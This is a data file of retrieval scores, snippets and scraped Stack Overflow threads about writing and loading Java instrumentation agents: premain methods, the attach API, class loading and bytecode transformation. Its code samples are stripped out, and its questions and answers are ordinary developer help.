{ "confidence": [ 44.67107391357422, 38.121849060058594, 36.69327163696289, 35.5457649230957, 34.859901428222656, 33.49806213378906, 33.029754638671875, 32.666080474853516, 32.03468322753906, 31.979217529296875, 31.8189697265625, 30.760360717773438, 30.569068908691406, 30.378726959228516, 30.378726959228516, 30.378726959228516, 30.378726959228516, 30.237306594848633, 30.213769912719727, 29.93023109436035, 29.81536102294922, 29.77376365661621, 29.77376365661621, 29.291988372802734, 29.291988372802734, 29.272979736328125, 29.20765495300293, 29.20765495300293, 29.049510955810547, 28.752422332763672, 28.752422332763672, 28.752422332763672, 28.752422332763672, 28.511280059814453, 28.135643005371094, 28.135643005371094, 28.078876495361328, 28.06172752380371, 27.989501953125, 27.95248794555664, 27.931365966796875, 27.919164657592773, 27.817440032958984, 27.66568374633789, 27.590721130371094, 27.569534301757812, 27.569534301757812, 27.569534301757812, 27.481578826904297, 27.340267181396484, 27.19426727294922, 27.14165496826172, 27.14165496826172, 27.078433990478516, 27.04890251159668, 27.04890251159668, 26.99446678161621, 26.984397888183594, 26.752338409423828, 26.752338409423828, 26.752338409423828, 26.678977966308594, 26.40872573852539, 26.386920928955078, 26.314908981323242, 26.209096908569336, 26.185998916625977, 26.054462432861328, 25.952598571777344, 25.862457275390625, 25.80792999267578, 25.746416091918945, 25.746416091918945, 25.746416091918945, 25.609222412109375, 25.42821502685547, 25.38003158569336, 25.355876922607422, 25.132408142089844, 25.114215850830078, 25.114215850830078, 25.114215850830078, 24.644550323486328, 24.497116088867188, 24.49297332763672, 24.440052032470703, 24.410429000854492, 24.027477264404297, 24.027477264404297, 24.027477264404297, 24.027477264404297, 23.994873046875, 23.838674545288086, 23.75867462158203, 23.563373565673828, 23.556480407714844, 23.3748779296875, 23.26504135131836, 23.219995498657227, 23.158828735351562 ], "content": [ "A Java agent is just another Java program .", "My application needs the Java instrumentation exposed .", "Java agent is just a java program and it requires classes to be loaded .", "java command is used to run some java application .", "See Starting a Java agent after program start http : stackoverflow.com questions 1277219 starting-a-java-agent-after-program-start .", "Also I tried to use instrumentation API within my java agent : .. . .. . or .. . .. . but it doesn t help .", "See also : .. . .. . http : www.tomsquest.com blog 2014 01 intro-java-agent-and-bytecode-manipulation Tutorials about javaagents https : stackoverflow.com questions 11898566 tutorials-about-javaagents", "You can do this by setting a command-line value -Xbootclasspath referencing a jar file with this class or programmatically by using the Instrumentation instance of your agent .", "I am writing java agent .", "Is this correct for javaagents", "You are running the java command but you are not providing the mandatory command-line parameters .", "and where does the java instrumentation API fit in picture .", "I have looked on many different sites on how to make one but none explaining what it actually is : .. . .. . example of how to create java instrumentation agent .", "I made java agent that monitors classes .", "Java agent transform classes when they are loaded .", "Supplying custom java agent seems to cause problems .", "I ve made this Java Agent in Lotus Notes .", "I implemented an Agent with the premain method adding a transformer to the Instrumentation .", "I would like to know how to use java agent and how to install java agent .", "I wrote a simple java agent to instrument some activity in java based web-applications using the javassist library .", "Use the AgentInstaller to install the instrumentation agent into a running JVM .", "But I would prefer to do it with a Java Agent for convenience purpose .", "Because of that the classes of tools.jar are accessible in the gradle project and not in the java agent .", "I handle for the first time java agent .", "The tests make sure the Java agent works .", "The documentation says : .. . .. . implementations with a command-line interface an agent is started by adding this option to the command-line : .. . .. . jarpath is the path to the agent JAR file .", "I am using Jacoco java agent on tomcat to get jacoco coverage data .", "I am developping a Java agent which is using some classes from tools.jar via reflection like com.sun.tools.javac.util.Options .", "It links to http : dhruba.name 2010 02 07 creation-dynamic-loading-and-instrumentation-with-javaagents that under Dynamic loading of a javaagent at runtime provides working example :", "A java agent is a basically a specialized component that you can load into a JVM that runs your core application .", "That is a commercial product which comes Java agent it is loaded into the JVM when starting up your application server .", "I m working on a Java agent to instrument some application classes and getting runtime information .", "A Java agent access classes via the system ClassLoader which keeps reference to the classes of the server application .", "See this http : stackoverflow.com questions 16248610 basic-block-logging-in-java-using-javaagents lq 1 work around if you need to instrument at the bytecode level using variables that were inserted by Javaassist .", "Is there a way to bring in plugins into single Java processes running the NewRelic agent", "Then you can add your transformer to the java agent from the agentmain method .", "I tried running another test where I only print hello to the java console and attach my agent to the web application and it did work which only tells me that my agent works .", "Actually i want to developpe a java application witch should instrumentate another java application witch i don t have its source code. .", "I have a java agent with a class annotated with @WebServlet .", "This agent loads any required classes and instruments them using retransformClasses of the Instrumentation interface .", "Instrumentation Agent To enable JVM instrumentation you have to provide an agent or more that is deployed as a JAR file .", "I created A Java agent and added the jar files of axis in the agent by using Edit Project button .", "I am using a tomcat7 instance to run a Java application .", "So I tried running a simple local java application just to test my agent to see if it works and it did .", "Yes In fact I am hooking my agent to gradle : my agent is hooking on methods of classes from tools.jar used for compiling java source code .", "We write a java agent which among other things provides some sort of GUI using java.awt.TrayIcon .", "I m trying to set a new agent using : .. . .. . When I run I see the java usage message .", "I m writing a native agent to java using the JVMTI libraries and trying to get the capability for accessing local-variables .", "We have two java applications : the gradle which will be building a gradle project and the javaagent that is hooked to the first java application .", "Did you read the java command documentation", "After the Java Virtual Machine JVM has initialized each premain method will be called in the order the agents were specified then the real application main method will be called .", "Long story short : java agents are for INSTRUMENTATION they have nothing to do with UI applications or accessibility .", "This link http : stackoverflow.com questions 8960734 native-java-bytecode-instrumentation is similar to the question you are asking .", "http : www.javamex.com tutorials memory instrumentation.shtml .. . .. . Tutorials about javaagents http : stackoverflow.com questions 11898566 tutorials-about-javaagents .. . .. . Along with a bunch of other sites .", "Do you have a java-agent you want to use", "When the project is built it produces a JAR file that can be used as a Java agent .", "For testing my agent I am setting set JAVA TOOL OPTIONS -javaagent : path-to-my-agent-jar and launching a build on a simple gradle project to which the java agent will be hooked .", "Long story short : .. . .. . I need to transform every class in my program even the java .. . library that are loaded before my agent .", "I have been trying to use a Java agent to apply a bytecode transformation with ASM .", "The premain method of an agent will be called once https : docs.oracle.com javase 7 docs api java lang instrument package-summary.html .", "For this we we have to access of one of the object created inside the gradle project from within the java agent .", "JRebel then allows you later on hot swap java classes .", "However the package-summary of the instrumentation API http : docs.oracle.com javase 8 docs api java lang instrument package-summary.html package.description tells you : .. . .. . Command-Line Interface .. . .. . An implementation is not required to provide a way to start agents from the command-line interface .", "I wish to profile a Java application without stopping the application .", "Is there any way to include the new relic agent in such a way that restarting the Spring Boot application with new command-line-arguments will suffice", "I added the Premain-Class line in the .jar manifest .. . .. . Then I tried to run the application with the agent .", "My organization has a number of Docker containers running single-process Java processes which are instrumented using NewRelic via the -javaagent : opt newrelic newrelic.jar Java agent .", "The idea is to use the classloader of the gradle application from the agent .", "I think you are mixing things up here if you use a java agent the agent MUST be a jar file with a special manifest there is no way around that .", "instrumentation new Instrumentation", "On implementations that do provide a way to start agents from the command-line interface an agent is started by adding this option to the command-line : .. . .. . .. . -javaagent : jarpath options .. . .. . .. . jarpath is the path to the agent JAR file .", "It then accesses the 14th agent Java is zero-based and its var value .", "Is there a technique for debugging a Java agent in IDE while attaching it to a JVM", "The debugging API does not distinguish between a Java agent and normal code .", "This should work as expected in any Java program and work on any platform .", "I am using JDI to intercept exceptions in target java application .", "My problem seems to be that the agent has no access to the classloader s used for building so he could not find classes from tools.jar and raises .. . .. . Is there anyway I can add tools.jar to my java agent", ".. . There is 2 ways to load the agent : .. . .. . with a command-line interface : by adding this option to the command-line : -javaagent : jarpath options where jarpath is the path to the agent JAR file .", "Edit 2 : Also see this other blog post http : dhruba.name 2010 02 07 creation-dynamic-loading-and-instrumentation-with-javaagents .", "For any class loaded before java agent started you will need to use java.lang.instrument.Instrumentation retransformClasses as you noticed yourself .", "The problem to fix .. . .. . I have a java agent in a database on a Lotus Domino 8.5.3 server to create export data on a network-drive .", "Finally we found the solution to implement writing on a network-drive from a Lotus Java Agent : .. . .. . 1 .", "I thought that the Java specification dictated that the only way to use a Java agent was through the -javaagent vm option .", "I found some information about loading java agents in this interesting blog post http : blog.javabenchmark.org 2013 05 java-instrumentation-tutorial.html .", "my aim is to add it to the client application on which my agent will be hooked .", "Related to the issue discussed here http : stackoverflow.com questions 38608048 java-agent-using-byte-buddy-doesnt-work I get the following exception : .. . .. . The agent runs on an enterprise web app on top of a tomcat server .", "Agent itself got notified of the classloading event but the instrumentation tool can t get the bytecode if the external-url is not added to its classpath .", "I tried to use a java agent with ClassFileTransformer hoping to intercept those classes but failed .", "Implement an java agent transforming a class loaded by your classloader replacing one of it s method s body or something .", "I am attempting to load a java agent to use java.lang.instrument.Instrumentation to measure the size of an object .", "Greetings I m would like to read the data of a method I try to change with Bytecode manipulation with javassist and a java agent .", ".. . .. . The launcher documentation http : docs.oracle.com javase 8 docs technotes tools windows java.html BABDJJFI also provides a hint : .. . .. . -javaagent : jarpath options .. . .. . Loads the specified Java programming language agent .", "Once by the application class loader which is child-first reverse-order http : www.ibm.com support knowledgecenter was beta com.ibm.websphere.base.doc ae crun classload.html and once via the Java agent where the class is automatically loaded by the system class loader .", "I m trying to get a Java Application to work with New Relic on Elastic Beanstalk .", "At the moment there is possibility to run JVM with an agent : .. . .. . this way in order to run the Java agent I have wrote as an I have to put it into a jar .", "I am attaching this agent to a servlet-based application using Servlet 3.0 by specifying the -javaagent : path to agent jar in JAVA OPTS .", "the CustomClassLoader : .. . .. . the ClassFileTransformer used in my agent with javassist : .. . .. . the Agent : .. . .. . I came up with a workaround by instrumenting the CustomClassLoader itself invoking instrumentation.redifineClasses but don t know how to pass the instrumentation instance into the CustomClassLoader instance I m new to instrumentation class loading and still not quite clear with their mechanism .", "Maven adds dependent jars including Lombok s to -classpath parameter of javac so you wouldn t need a Java agent to instrument the code for you .", "JVM will invoke premain method before main method of java program .", "With this agent jar the agent is loaded but the application fails to start in the tomcat container ." ] }
{ "confidence": [ 59.82635498046875, 57.1310920715332, 50.98423767089844, 45.71392059326172, 44.98957824707031, 44.71586608886719, 42.029544830322266, 40.556663513183594, 40.54377746582031, 40.36286163330078, 38.80030822753906, 37.90570068359375, 37.02159118652344, 36.89213562011719, 35.937408447265625, 35.76430130004883, 35.607975006103516, 35.51570510864258, 35.377864837646484, 35.33710479736328 ], "content": [ "Question : I have developed apps using Swift as an Agent . It was a simple application that sat in the menubar without any icon on the dock . I would like to create one using Java for some accessibility reasons and I stumbled upon something called a Javaagent . I couldn t tell if that was what I was looking for and don t want to dive in if its not . If its not was am I looking for How do I make an application that doesn t have java popup and just runs on the menubar I have looked on many different sites on how to make one but none explaining what it actually is : .. . .. . example of how to create java instrumentation agent . http : www.javamex.com tutorials memory instrumentation.shtml .. . .. . Tutorials about javaagents http : stackoverflow.com questions 11898566 tutorials-about-javaagents .. . .. . Along with a bunch of other sites . Can someone please help Thanks Jack Comment : How on earth is this an opinion based question Comment : What you re looking for is the system-tray and how to work with it from Java . Here s the doc : docs.oracle.com javase tutorial uiswing misc systemtray.html https : docs.oracle.com javase tutorial uiswing misc systemtray.html .. . Answer : A java agent is a basically a specialized component that you can load into a JVM that runs your core application . The agent then provides certain add-on functionality functionality that has nothing to do with what your core application is doing . An example would be JRebel . That is a commercial product which comes Java agent it is loaded into the JVM when starting up your application server . JRebel then allows you later on hot swap java classes . Meaning : the JRebel agent knows nothing about the purpose of the code that you are running within your application server it only exists to change the bytecode of your classes while the JVM is still running . Long story short : java agents are for INSTRUMENTATION they have nothing to do with UI applications or accessibility . Thus the answer is : no java agents is not what you are looking for . Instead you might turn to frameworks like Swing JavaFx or Eclipse RTP which help you creating GUI applications .", "Question : I wish to profile a Java application without stopping the application . Can I add a Javaagent somehow while the application is running Comment : The times I wished I could attach the debugger in production.. . Comment : @omerkudat ouchy : . Then run it w the debugger option you wont see any real performance drawback but debuggers can cause leaks Comment : So does the debugger option allow me to add a javaagent at runtime Comment : @bestsss : They also can be a security vulnerability . Comment : @Software Monkey - hardly security vulnerability - block the port and allow it only for a few selected IPs prior attaching the debugger . .. . Answer : See Starting a Java agent after program start http : stackoverflow.com questions 1277219 starting-a-java-agent-after-program-start . It links to http : dhruba.name 2010 02 07 creation-dynamic-loading-and-instrumentation-with-javaagents that under Dynamic loading of a javaagent at runtime provides working example :", "Question : I understand Spring avoids using the -javaagent vm option in order to get its AspectJ load-time-weaving to work and relies instead on a classloader to start the agent . I thought that the Java specification dictated that the only way to use a Java agent was through the -javaagent vm option . Am I wrong Can someone please direct me to the official Java specification documentation that would clarify my interrogation .. . Answer : I found some information about loading java agents in this interesting blog post http : blog.javabenchmark.org 2013 05 java-instrumentation-tutorial.html . Instrumentation Agent To enable JVM instrumentation you have to provide an agent or more that is deployed as a JAR file . An attribute in the JAR file manifest specifies the agent class which will be loaded to start the agent . .. . There is 2 ways to load the agent : .. . .. . with a command-line interface : by adding this option to the command-line : -javaagent : jarpath options where jarpath is the path to the agent JAR file . options is the agent options . This switch may be used multiple times on the same command-line thus creating multiple agents . More than one agent may use the same jarpath . by dynamic loading : the JVM must implement a mechanism to start agents sometime after the the VM has started . That way a tool can attach an agent to a running JVM for instance profilers or ByteMan .. . .. . After the JVM has initialized the agent class will be loaded by the system class loader . If the class loader fails to load the agent the JVM will abort . .. . Yes official documentation specification would be more than welcome.. . .. . .. . Edit 1 : At last I came across some relevant and official documentation : API Javadoc for dynamically loading an agent as described in second bullet point above : see here for VirtualMachine class http : docs.oracle.com javase 8 docs jdk api attach spec com sun tools attach VirtualMachine.html and here for loadAgent method http : docs.oracle.com javase 8 docs jdk api attach spec com sun tools attach VirtualMachine.html loadAgent-java.lang.String- . Edit 2 : Also see this other blog post http : dhruba.name 2010 02 07 creation-dynamic-loading-and-instrumentation-with-javaagents . It explains clearly the difference between static loading of a javaagent at startup and dynamic loading of a javaagent at runtime .", "Question : I am attempting to load a java agent to use java.lang.instrument.Instrumentation to measure the size of an object . Here is my Java : .. . .. . As this is a Maven project here is my pom.xml .. . .. . No I do not know what to do next . Please help . I ran .. . .. . and then .. . .. . which gives me this exception : .. . .. . What should I do to run this .. . Answer : The launch mechanism is considered JVM JRE specific . However the package-summary of the instrumentation API http : docs.oracle.com javase 8 docs api java lang instrument package-summary.html package.description tells you : .. . .. . Command-Line Interface .. . .. . An implementation is not required to provide a way to start agents from the command-line interface . On implementations that do provide a way to start agents from the command-line interface an agent is started by adding this option to the command-line : .. . .. . .. . -javaagent : jarpath options .. . .. . .. . jarpath is the path to the agent JAR file . options is the agent options . This switch may be used multiple times on the same command-line thus creating multiple agents . More than one agent may use the same jarpath . An agent JAR file must conform to the JAR file specification . .. . .. . The launcher documentation http : docs.oracle.com javase 8 docs technotes tools windows java.html BABDJJFI also provides a hint : .. . .. . -javaagent : jarpath options .. . .. . Loads the specified Java programming language agent . For more information about instrumenting Java applications see the java.lang.instrument package description in the Java API documentation at http : docs.oracle.com javase 8 docs api java lang instrument package-summary.html .. . .. . .. . .. . But note that you have to specify the right agent class in your manifest . As far as I can see you re specifying java.lang.instrument.Instrumentation as premain class which is nonsense . In your code the class containing the premain method is com.example.memory.usage.MemoryUsage ObjectSizeFetcher and hence you should specify that class Comment : Does this get me closer to actually analyzing the size of objects Comment : Sure it does . It tells you how to ensure that you premain method gets called with a JVM-provided Instrumentation instance before main gets called . So your field will not be null anymore . That s what your question is about . But if you abandoned the idea of implementing an agent by yourself just run jvisualvm which is even included in the jdk and let it do the work", "Question : I am using a tomcat7 instance to run a Java application . My application needs the Java instrumentation exposed . This is done with a javaagent and I pass the agent at startup to the JVM in the setenv.bat script . In the manifest file I have the required section : .. . .. . In the premain method of the agent class assign the instrumentation provided by the JVM to a static variable accessible through a static method .. . .. . But in my code when I do this : .. . .. . getInstrumentation returns null .. . .. . What is the problem UPDATE .. . .. . I did some further debugging and premain gets executed and s instrumentation receives the instrumentation but when I call getInstrumentation later on in my code s instumentation is set to null . This is strange I tought the value remains valid thought the life of the program . Comment : Is your premain method actually called Comment : premain is executed but I dont get any instrumentation .. . Answer : I assume that you are loading the class ExposeInstrumentation twice . Once by the application class loader which is child-first reverse-order http : www.ibm.com support knowledgecenter was beta com.ibm.websphere.base.doc ae crun classload.html and once via the Java agent where the class is automatically loaded by the system class loader . As a result the ExposeInstrumentation class is loaded twice where you access the one from your application where the field is not set . You can solve this by explicitly accessing the class loaded by the system class loader : .. . .. . You can also check out the Byte Buddy Agent project http : search.maven.org search 7Cgav 7C1 7Cg 3A 22net.bytebuddy 22 20AND 20a 3A 22byte-buddy-agent 22 that offers this functionality and more runtime installation of an agent . With Byte Buddy you can simply call ByteBuddyAgent.getInstrumentation . Comment : also...is there a way to stop the application ClassLoader from loading ExposeInstrumentation so it is not loaded twice Comment : Should have been loadClass instead of findClass . You can prevent the duplicate loading by putting the ExposeInstrumentation class into a module of its own and declare a provided scope dependency to it for the web application . As long as the agent is attached this will work .", "Question : I m using a javaagent with Javaassit via the .. . .. . premain String agentArgs Instrumentation inst .. . .. . method and I m curios why a class is not considered by the ClassFileTransformer .. . .. . Short description : .. . .. . I have two classes in my project where the javaagent premain is applied to .. . MyMainClass is the class with the main method .. . MyLogicReference class is not references via import .. . in the MyMainClass .. . The ClassFileTransformer transform method is only called for MyMainClass but not for MyLogicReference .. . If I call java.lang.instrument.Instrumentation getAllLoadedClasses then I can see that the MyLogicReference class is loaded .. . Is this the way the agent works and if yes how can I for the agent to transform also the second MyLogicReference class .. . .. . UPDATE .. . .. . I think I ve found some useful information in the Javadocs https : docs.oracle.com javase 7 docs api java lang instrument ClassFileTransformer.html . In java.lang.instrument.Instrumentation.retransformClasses I should be able to register the MyLogicReference class from the example . But I still wonder about the behaviour.. . Lets try it out.. . .. . .. . for each transformer that was added with canRetransform true the transform method is called in these transformers .. . .. . Detailed : .. . .. . I m using the agent to change methods .. . via annotations some sort of injection . I ve stripped down the classes to just the onces below and I wonder why only MyMainClass is put to the javaagent transformer classfilebuffer but not the MyLogicReference class . The entry-point for my process to change code is the annotation where I refer to another class MyLogicReference .. . If I use the .. . .. . java.lang.instrument.Instrumentation getAllLoadedClasses method .. . .. . I can see the MyLogicReference class . But the ClassFileTransformer is never called for this class . Is this correct for javaagents If I for example import the MyLogiReference.class in the MyMainClass I figured out that the transformer is called . So my current assumption is that only classes subclasses which are directly referenced over the main class are send to the ClassFileTransformer . If this is correct than how can I force the javaagent to transform a class which hasn t been transformed before My javaaagent manifest entries MVN : .. . .. . I stripped down the ClassFileTransformer to this and the second class is still not loaded : .. . Answer : Based on what you said I m guessing you are referring to MyLogicReference somewhere from your javaagent code . As a consequence JVM loads the class before the instrumentation has started . Two things to remember : .. . .. . 1 . Java agent is just a java program and it requires classes to be loaded . 2 . Java agent transform classes when they are loaded . For any class loaded before java agent started you will need to use java.lang.instrument.Instrumentation retransformClasses as you noticed yourself . Using java.lang.instrument.Instrumentation retransformClasses doesn t seem necessary here too . In my opinion it is always better to avoid it for the sake of simplicity . You can either : .. . .. . separate the code which is used by javaagent and the code that s being instrumented . only refer to MyLogicReference as a string eg . use foo.getClass .getName .equals MyLogicReference instead of foo instanceof MyLogicReference .. . .. . Based on information provided I m also wondering if you considered using Annotation Processor instead https : docs.oracle.com javase 7 docs api javax annotation processing Processor.html . Comment : Thanks for the answer . I ve already had a look at annotation processors not in detail . When it comes to modify code and dont build proxy classes I prefer the agent before the anno . processor with hacks like loombok . Also the speration of the agent is for my usecases quit handy e.g remote JMX .. . . On the other hand for annotation driven actions the procesor is nice with compile messages .. . . For me as a newbie in these topics the annotation processor with a transform method would be great : D", "Question : I am attempting to load a java agent to use java.lang.instrument.Instrumentation to measure the size of an object . Here is my Java : .. . .. . As this is a Maven project here is my pom.xml .. . .. . No I do not know what to do next . Please help . I ran .. . .. . and then .. . .. . which gives me this exception : .. . .. . What should I do to run this .. . Answer : You call getObjectSize statically . The variable instrumentation needs to be initialized i.e . instrumentation new Instrumentation Comment : New Instrumentation requires a large number of overrides . Plus its implied thats its passed in public static void premain String args Instrumentation inst Comment : @DavidWilliams I don t think premain is getting called . Comment : I think you re right I put an System.out.println there and didn t see anything . But this is following online examples . If I create a new one the method getObjectSize is stubbed to return 0 . Clearly I need an existing implementation right Comment : Yes . Or you need to manually call premain Comment : It appears to be possible to do this from the command-line via javaagent . Do you know hoe to do that and where I might download the right agent to size an object", "Question : I m getting bit confused on class loading concept along with javaagent . Lets say I have an agent class like this : .. . .. . and I create an agent jar by setting up the Premain-Class to the Agent class . Now I m passing this agent jar while my VM start up using -javaagent so the question is : .. . .. . 1 . At what times the premain will be getting called Only when class loaded by the classloaders If so then this premain is called exactly once for each class is in bootstrap extension system loaders 2 . Or when ever I create a object of a class and then call its methods .. . Answer : The premain method of an agent will be called once https : docs.oracle.com javase 7 docs api java lang instrument package-summary.html . After the Java Virtual Machine JVM has initialized each premain method will be called in the order the agents were specified then the real application main method will be called . Each premain method must return in order for the startup sequence to proceed . Comment : oh ok . So basically then addTransformer of Instrumentation will be getting called for each class loading occurs correct Comment : @Ant s addTransformer will also be called once given your code . But the transform method of the transformer will be called for each loaded class see docs.oracle.com javase 7 docs api java lang instrument https : docs.oracle.com javase 7 docs api java lang instrument Instrumentation.html addTransformer 28java.lang.instrument.ClassFileTransformer 20boolean 29 Comment : Thank now it make sense", "Question : I m not that good in Java but I have my webApplication running on a Wildfly . I have 3 threads who just call a function that insert logs in in and the function saves the logs to a Database and after that every thread sends a time how long did it takes to do this . They send the data to another programm I wrote what has 3 threads to call one of the 3 server threads . So now I try to do some ByteCode Manipulation every thread on the server saves the datetime call the log function waits 1 second and returns then the time they needed . 1 Thread write something in an logfile before or after they waitet 1 second . But this part where they wait a second and call the log function I want that to inject to every 3 threads with Bytecode manipulation . Thats my transformer class it should increase the Code my Methods need it checks what Method has an @Loggable annotation an then adds the code into it at the moment it s just some log statments for checking if it works .. . .. . My biggest problem is now that I don t know how to call my agent .. . I googled hwo to call an agent at runtime with agentmain but I think I dind t really understood how it works . Agent Class .. . .. . Hope you understand My problem : I and if you answere pleas try to stay noob friendly : D . .. . Answer : you don t call your agent explicitly you should specify additional argument to your JVM : .. . .. . java -javaagent : jarpath options .. . .. . where jarpath is a path to jar containing your agent . JVM will invoke premain method before main method of java program . And transform method will be called before classloading by JVM you don t call it explicitly . Last remark : you should implement premain method not agentmain . agentmain is used during attaching to running vm while premain is used when you start JVM with -javaagent method . And make sure that your jar have valid manifest as described : https : docs.oracle.com javase 8 docs api java lang instrument package-summary.html .. . .. . I haven t using javaassit so I cannot say that your code is valid but instrumenting webapp server like Wildfly is much harder than normal java app mostly due to classloaders visibility and hierarchy . See also : .. . .. . http : www.tomsquest.com blog 2014 01 intro-java-agent-and-bytecode-manipulation Tutorials about javaagents https : stackoverflow.com questions 11898566 tutorials-about-javaagents Comment : Oke first thanks for your answere : D but java -javaagent : jarpath options I just know this as command for CMD and I can t use this o : or can I add it somwhere else Comment : And I used premain because I tried to change the code while it s running but that didn t worked too .. . Comment : Modify server start script and and this to JVM args . I done that this way and it works fine . Comment : haha works more or less ty : D", "Question : Actually i want to developpe a java application witch should instrumentate another java application witch i don t have its source code. . I tried to create an agent and attach it to the jvm. . then i created an mbean and tried to connect to it. . it works when i try to instrumentate a class in my project. . but i don t know how could i instrument a distant application with my application. . .. . .. . here is my code : https : github.com ammouna8ammouna Monitoring.git .. . .. . i am really new at the instrumentation world and i really need help . .. . Answer : If you can get the processID of the VM that you are targeting you can attach your agent using .. . .. . com.sun.tools.attach.VirtualMachine .. . .. . For example if you have pid the path of your JAR target and the loader that handle the JAR you can try something like this : .. . .. . Let me know if it s clear or you need other help .", "Question : My goal is to insert a little bit of instrumentation code at the beginning of each basic block of code . It seems like a fairly simple task with Javaassist s ControlFlow.Block and CtMethod.insertAt . Here s the relevant chunk of code so far it s located in the transform function : .. . .. . Note that the line parameter in CtMethod.insertAt line srcCode is the source code line position not the bytecode line position . In the source code some basic blocks are reporting the same line number Here is the output : .. . .. . At represents the location that I requested the code to be placed at and the - represents the location in the source code that it was actually inserted if everything works out they should be the same . Everything inside the .. . is the code that I want placed JDA mse is a local variable that I added to the function with Javassist methods so there s no problem in using it . The issue is that for int i 0 i size ++i contains multiple basic blocks that are inseparable in the source code but clearly distinct in the bytecode . This is why multiple basic blocks are being mapped to the same source line and it just shows that source code lines do not provide sufficient instrumentation accuracy to log basic blocks . Is there a way to emulate a CtMethod.insertAt bytecodePosition srcString instead of using the provided CtMethod.insertAt sourceLine srcString .. . Answer : See this http : stackoverflow.com questions 16248610 basic-block-logging-in-java-using-javaagents lq 1 work around if you need to instrument at the bytecode level using variables that were inserted by Javaassist .", "Question : null .. . Answer : Everybody knows Jrebel . But I wanted to make some small similar implementation - just a functionality that allows to reload Class definition after recompilation . I made java agent that monitors classes . Also I specify system classloader that loads all my custom classes . And after recompilation my agent should reload class with new definition . But nothing happens . Also I tried to use instrumentation API within my java agent : .. . .. . or .. . .. . but it doesn t help . All the source files can be found here - https : github.com ice-pro Runtime-Redeploy .. . .. . To run test please execute install on main module and then compile on Tester module . Please advice me how can I redefine class declaration at runtime . Comment : You re more likely to get help if you show us the code of your agent and how you re registering it with the JVM . As is we ve nothing to go on . Comment : I have just updated the question . Sources added . Comment : Have you looked at JDWP.VirtualMachine.RedefineClasses https : docs.oracle.com javase 8 docs platform jpda jdwp jdwp-protocol.html JDWP VirtualMachine RedefineClasses", "Question : I would like to know how to use java agent and how to install java agent . I handle for the first time java agent . So they are not familiar . So please explain in detail . Comment : You might want to Google It . Comment : You have to be more specific Like on what OS etc . Comment : Do you have a java-agent you want to use In that case consult its documentation . Otherwise why bother .. . Answer : Presuming that you actually mean agents as in instrumentation check this tutorial : .. . .. . http : www.javabeat.net introduction-to-java-agents .. . .. . it will give you a quick start in writing your first agents and set up everything you need to get started . Just on a side note : if you want specific detailed answers ask specific detailed questions .", "Question : I have been trying to use a Java agent to apply a bytecode transformation with ASM . I implemented an Agent with the premain method adding a transformer to the Instrumentation . I added the Premain-Class line in the .jar manifest .. . .. . Then I tried to run the application with the agent . There I have a problem : my transformer modifies some method calls so if not all involved classes are modified too it cannot work . And there are some classes which are not modified like org.apache.commons.math3.util.FastMath . Of course then I got the error : .. . .. . I checked a lot of posts saying it could be the bootstrap loader which does not know the path to this class so I tried to add it using different ways : .. . .. . Adding the Boot-Class-Path line to the manifest : .. . .. . Boot-Class-Path : .. . commons-math3 .. . .jar .. . .. . .. . Using the method appendToBootstrapClassLoaderSearch JarFile .. . .. . inst.appendToBootstrapClassLoaderSearch .. . commons-math3 .. . .jar .. . .. . .. . Using the JVM argument -Xbootclasspath a : .. . .. . -Xbootclasspath a : .. . commons-math3 .. . .jar .. . .. . .. . None of this changed anything . I also used the Instrumentation class-method getAllLoadedClasses to see which ones were loaded and all classes involved in the application process where loaded including FastMath . As the class FastMath gave an error and as the Bootstrap Loader should have its path I tried adding some method calls to methods from other classes in the same package . It appears the problem does not show for every class of the package . For example : MathUtils is transformed and a call to the modified method checkFinite D V - checkFinite new descriptor . So I guess the problem has nothing to do with the paths given to the bootstrap loader . If you have some ideas about what is happening I would be glad to hear about it .. . Answer : A NoSuchMethodError is most likely not caused by not adding something to the bootstrap class loader . The only chance that this could be a problem would be if there were suddenly two such jars available where one was instrumented and the other was not . If you call change a method checkFinite D V to become another method checkFinite new descriptor then you need to make sure that any class using FastMath.floor updates the descriptor to this method . This means that you need to walk through every method of every class looking for visitMethodIns calls of ASM . It seems like you are missing some . Since you are changing the layout of the FastMath class you must instrument it while loading it for the first time and you cannot redefine it . The Java internal classes do not know of FastMath as this is a third-party dependency . Therefore it should be possible to instrument any call from your agent . It seems to me like you are loading FastMath prematurely . Comment : Hello Rafael I am not asking about the NoSuchMethodError in this post this error is caused by the call to FastMath.floor new descriptor but as the FastMath class is not transformed the method floor descriptor does not match . This error is expected if FastMath is not transformed . The transformations works fine I am already able to transform the entire application via a perturbed ClassLoader . But I would prefer to do it with a Java Agent for convenience purpose . So the problem does not come from ASM usage but from the fact that FastMath is not transformed . Comment : But can you observe that FastMath is handed to the transformer logging break point . If you refer to the loaded class from your agent it would be loaded prematurely . Otherwise it should work just fine . Comment : I added breakpoints in the transform method to see if FastMath would appear there . It did not.. . What I do not understand is why a class like FastMath would be loaded by the agent but not transformed Comment : If you load a class before the ClassFileTransformer is in-place it is not transformed . So I assume that this is happening in your agent . Comment : Ok that sounds logic but I am using a premain method and not agentmain so the Agent should be the first thing to be loaded by the JVM . Besides using getAllLoadedClasses method I can see that FastMath is not loaded before a certain point of the code.. . for Class clazz : MyAgent.getInstInstance .getAllLoadedClasses if clazz.getSimpleName.equals FastMath breakpoint", "Question : I was trying to modify the byte code of several classes whose packaging jar files are not in class path - they are loaded by a custom ClassLoader during runtime given an URL . I tried to use a java agent with ClassFileTransformer hoping to intercept those classes but failed . The classloader is part of a legacy project so I cannot make changes to it directly . The agent works fine on classes loaded by AppClassLoader locally but just ignores those loaded by the custom classloader . the CustomClassLoader : .. . .. . the ClassFileTransformer used in my agent with javassist : .. . .. . the Agent : .. . .. . I came up with a workaround by instrumenting the CustomClassLoader itself invoking instrumentation.redifineClasses but don t know how to pass the instrumentation instance into the CustomClassLoader instance I m new to instrumentation class loading and still not quite clear with their mechanism . Any help Thanks . To make it simple : .. . .. . 1 . Inside an app create a custom URLClassLoader which loads some jar files elsewhere in you file system during runtime . 2 . Implement an java agent transforming a class loaded by your classloader replacing one of it s method s body or something . 3 . Inside the app assign a class s instance to its interface and call its instrumented methods . 4 . Run the app with -javaagent to check . Comment : have you tried with a simple Agent with no dependency for example try to simply call System.out.println className in your method transform then return classfileBuffer . I tried to load a class using your CustomClassLoader and I see the name of the class in my console Comment : @NicolasFilotto Problem solved and thanks you remind me of the tools i used with agent . Agent itself got notified of the classloading event but the instrumentation tool can t get the bytecode if the external-url is not added to its classpath . .. . Answer : I assume that your class is not properly instrumented because you are calling ClassPool.getDefault which does not include class files visible to your custom class loader but only to the system class loader . You never register the classfileBuffer class file . As an alternative you can try out Byte Buddy https : github.com raphw 